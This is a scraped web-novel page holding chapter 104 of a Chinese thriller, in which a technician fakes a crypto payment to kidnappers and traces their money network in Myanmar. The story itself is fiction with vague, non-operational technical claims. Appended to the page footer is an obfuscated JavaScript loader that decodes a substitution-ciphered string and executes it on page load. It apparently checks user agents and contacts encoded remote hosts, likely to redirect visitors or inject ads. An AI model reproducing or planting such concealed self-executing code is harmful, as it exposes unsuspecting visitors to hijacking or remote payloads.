首页
[切换至繁体版]
返回

第104章 凌晨四点,那笔不存在的钱到账了

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第104章凌晨四点,那笔不存在的钱到账了(第1/2页)
    凌晨四点整,国安分站地下技术室的空调出风口吹出一股干冷的风,嗡嗡地响着,跟三块屏幕的电流声搅在一起。
    林宇坐在转椅上,两只手搭在键盘上方,十根手指悬着没动。
    旁边的技术科长老周端了杯浓茶过来,还没喝一口,先看了眼屏幕上林宇搭建好的交易伪装架构。
    茶杯悬在嘴唇前面停住了。
    “六层?”老周把茶杯放下来,凑近了两步。
    林宇没回头,手指敲进第一组指令,链上广播了一笔从国安备用钱包发出的交易。
    金额精确到小数点后八位,和绑匪留给郑婉欣的收款地址完全对应。
    但这笔钱不存在。
    它是一个幽灵。链上有记录、有哈希、有时间戳,但底层的UTXO引用指向的是一组林宇临时构造的虚拟输入。
    外行人看,这笔交易和真实转账没有任何区别。
    内行人查,至少要穿透六层中间节点的跳转伪装才能发现端倪。
    老周的茶凉了都没察觉。
    他干了十一年网络安全,追过暗网毒品交易,破过跨境洗钱案子,自认为链上分析这块算是吃过见过的。
    但眼前这套操作把他看傻了。
    林宇构造中间节点的速度太快了。
    每一个伪装跳转的时间戳都经过了精密的错位处理,彼此之间的间隔模拟了真实混币器的随机分布特征。
    第三层到第四层之间甚至嵌套了一个假的跨链桥调用记录,链上签名验证居然能过。
    “这怎么做到的?”老周忍不住了,声音压得很低。
    “跨链桥的验证合约有一个已知漏洞,去年八月份被披露的,到现在还没修。”
    林宇的手指没停,语速很快,
    “利用这个漏洞可以伪造一个形式上成立的桥接记录。
    对方的财务人员如果用常规工具查,只会看到一笔从以太坊主网经POlygOn中转后落地比特币主网的合规路径。”
    老周咽了口唾沫。
    “你这套东西要是拿去干坏事……”
    “我现在就在干坏事。”
    老周:......
    行,你S级,你牛逼。
    林宇敲下最后一组指令,回车。
    屏幕上跳出一条绿色的确认信息。
    交易已广播,正在等待区块打包。
    然后就是等。
    技术室的空调嗡嗡地吹着。老周端起那杯凉透的茶喝了一口,苦得脸皱了一下,又放下了。
    林宇一动不动地盯着左边那块屏幕。
    链上数据流在不断刷新,一行行交易记录从下往上滚。
    他的交易在第四分钟被打包进了新区块,确认数开始累积。
    一次确认。两次。三次。
    到第六次确认的时候,那个收款地址依然没有动静。
    老周看了眼手表,凌晨四点十一分。
    “会不会那边没人值班?”
    “不会。”林宇的声音很笃定,“这种园区二十四小时有人盯资金池。否则他们不敢给家属定三天的期限。”
    话音刚落,左边屏幕上弹出了一条新记录。
    对方钱包地址发起了一次余额查询。
    老周身子往前探了半寸。
    一分钟后,第二次查询。
    又过了四十秒,第三次。
    频率在加快。
    林宇的呼吸没变,但他的右手食指轻轻搭上了回车键的边缘。
    老周盯着屏幕上那三条查询记录,掌心已经攥出了一层薄汗。
    他太清楚这意味着什么了,对面的人咬钩了,正在反复确认入账金额。
    就像一条鱼围着饵转圈,越转越近。
    林宇的额头渗出细汗,一旦他失败暴露这是虚假交易,网络那头不知道要死几个人。
    此刻他的指尖下,仿佛悬挂了一根细线,那头系着的是一条条鲜活的生命。
    第十一分钟过去了,第十五分钟。
    查询频率降到了三分钟一次,说明对方开始查验交易的细节了。
    林宇构造的六层伪装正在被一层一层地摸。
    第十七分钟。查询停了。
    老周的后背绷直了。
    “怎么不查了?发现了?”
    林宇微微思考后摇头:“在开会。财务发现了一笔大额入账,要向上面报告,决定提不提现。”
    “你怎么知道?”
    “猜的。但逻辑上只有这个解释。他们不可能放着五百万不管,也不可能不经请示就动这笔钱。”
    等的过程很难熬。老周灌了两杯凉茶,上了一趟厕所回来,屏幕上还是没有新动静。
    凌晨四点十九分。
    左边屏幕上,一笔新交易弹了出来。
    金额:0.001BTC。
    方向:从绑匪收款地址转出,目标是一个全新的地址。
    小额测试提现。
    林宇松了口气,目光锋锐,手指落下。
    中间那块屏幕上,他提前部署好的抓取程序瞬间启动。
    对方发起提现的那一刻,链上广播了一个包含签名数据的交易请求。
    这个签名里藏着对方冷钱包的部分私钥特征,和之前通过聚类分析推导出的地址拓扑一交叉比对——
    仅仅三十秒!
    右边屏幕上,一张完整的资金流向图铺开了。
    从绑匪收款地址开始,向上追溯,经过十一个中间钱包、三个混币器、两个场外OTC承兑商,最终汇入七个末端账户。
    每个账户的历史交易记录、关联地址、资金体量,全部被拓扑图标注得清清楚楚。
    这是一张活的血管造影图。整个资金网络的脉络暴露了。
    老周盯着那张图,嘴唇哆嗦了一下,硬是没说出话来。
    他干了十一年,追过最复杂的洗钱案子用了三个月才画出类似的拓扑。
    (本章未完,请点击下一页继续阅读)第104章凌晨四点,那笔不存在的钱到账了(第2/2页)
    而林宇用了三十秒,他现在说他自己是外星人老周都信。
    林宇截屏,加密打包,发送。
    文件到王志海手里的时候,隔壁办公室传来一声闷响,像是有人拍了桌子。
    五秒后,王志海推门进来,神色严肃地说了一个字。
    “转。”
    林宇把证据包挂上国安加密通道,收件方是国际刑警东南亚联络站。随文件附了一段技术摘要,结论只有一行:
    “该资金链终端GPS坐标与此前电话信号源高度吻合,锁定缅北掸邦某园区,证据链完整闭合,建议即时启动跨国联合执法。”
    发完,他往椅背上靠了一下,闭上眼。
    太阳穴跳了两下。系统返还的宗师级链上分析能力还在消化整合中,大量关于暗网通讯协议和冷钱包逆向工程的前沿知识源源不断地渗进来。
    每一块知识在脑子里铺展开的时候都带着一股子凉意,像冰水沿着神经末梢往下淌。
    他揉了揉额角,又确认没有遗漏后睁眼。
    王志海不在了。
    隔壁传来打电话的声音,压着嗓子,语速快,听不清内容。
    四十分钟后,脚步声响起。
    王志海推门进来的脸色不太好看。
    “有两个消息。”他站在门口没往里走,“好消息是东南亚联络站接了证据,确认有效,正在走内部审批。”
    林宇等着后半截。
    “坏消息,流程预估七十二小时以上。跨国执法协调要走的手续你知道的,得等缅甸方面正式回应。层层批复,对接窗口还有时差。”
    技术室里安静了几秒。
    空调的嗡嗡声填满了整个空间。
    林宇的右手搭在扶手上,拇指在扶手棱角上叩了三下。一下比一下慢。
    七十二小时。三天。洛书桓已经被关了至少四天了。那个水牢里的水管锈迹斑斑,铁链磨得手腕渗血。三天时间,够发生太多事了。
    他没接话。
    沉了有七八秒,忽然开了口。
    “你们局里有没有画人像特别准的?”
    王志海愣了。这个弯转得太突然,他一时没反应过来。
    “怎么突然问这个?”
    “有没有?”
    王志海想了想:“有。审讯科两个,一个叫葛亮,一个叫范统。上次审丁帆你见过的,用风油精的那两位。
    他俩有一手绝活,靠口述就能还原人物面部特征。局里给他们起了个外号,‘人形照相机‘。怎么了?”
    葛亮?范统?
    还真是卧龙凤雏啊?!
    “明天上午把这对卧龙凤雏叫过来,我需要他们帮个忙。”
    王志海张了张嘴,“叫来干嘛”四个字在舌尖上转了一圈。
    但他看了林宇一眼,把话咽回去了。
    “行。”
    转身出去了。
    技术室的门合上。
    三块屏幕的光打在林宇脸上,忽明忽暗。
    右边那块屏幕的卫星地图还停在缅北掸邦那片建筑群的俯瞰画面上,红点一闪一闪的。
    林宇的右手伸向帆布包的侧袋,摸到了郑婉欣那部手机。
    那张照片他已经看了二十多遍了。
    墙壁上那七个字的每一个笔画,起笔的角度、运笔的速度、收笔的力道,全部被他脑子里的分析能力拆解成了一组组精确的参数。
    王志海的报告写的是“成年男性,右手执笔,有一定文化水平”。
    但林宇看到了报告里没有的东西。
    那些字的横画收笔处有一个极轻的上挑。
    不明显,肉眼不放大根本捕捉不到,但数据模型跑出来的倾斜角度是三点七度。
    竖画的底端带一个微小的回锋,像是写字的人长年用圆珠笔养成的习惯,换了硬物刻墙壁也改不掉。
    这种笔触特征不是刻意的,是肌肉记忆。
    林宇的手指从帆布包侧袋上慢慢滑下来。
    原身的记忆库里有一个画面。
    很模糊,模糊到几乎没有颜色。
    一张旧餐桌。一个男人坐在桌前,低着头给一张小学成绩通知单签字。
    蓝色圆珠笔尖在纸面上划过去,沙沙的声音很轻。
    签名的最后一笔往上挑了一下。
    三点七度。
    林宇把手收回来,放在膝盖上。
    他没有把这个念头说出口。
    因为这个念头太离谱了。
    一个人消失了十二年,消失在东南亚,然后出现在缅北诈骗园区的水牢墙壁上,用铁丝刻着“别怕,有人在帮你”。
    太像编出来的故事了。
    但系统返还给他的宗师级分析能力不会骗人。
    数据模型跑出来的笔迹特征匹配度摆在那儿,他想装看不见都不行。
    所以他需要一张画像。
    让葛亮和范统根据原身记忆中林浩的面部特征画一张复原像出来,然后和卫星图、监控截图、以及后续营救行动中可能获取的现场影像做比对。
    如果匹配上了……
    林宇站起来,把三块屏幕全部关掉。
    技术室陷入黑暗。只有走廊尽头的应急灯从门缝底下漏进来一线惨白。
    他拎起帆布包往外走。推开走廊的防火门,经过一扇半开的窗户,东边天际线上已经渗出了一条灰白色的缝。
    风从窗缝里灌进来,冷得他脖子缩了一下。
    林浩。
    原身记忆里这两个字附带的画面少得可怜。
    一个蹲在门口系鞋带的模糊轮廓,一双被小男孩攥着食指不肯松手的大手,一句“最多半年就回来”。
    然后就是十二年的空白。
    如果水牢墙上刻字的那个人真的是他,那林宇不知道自己该是什么心情。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();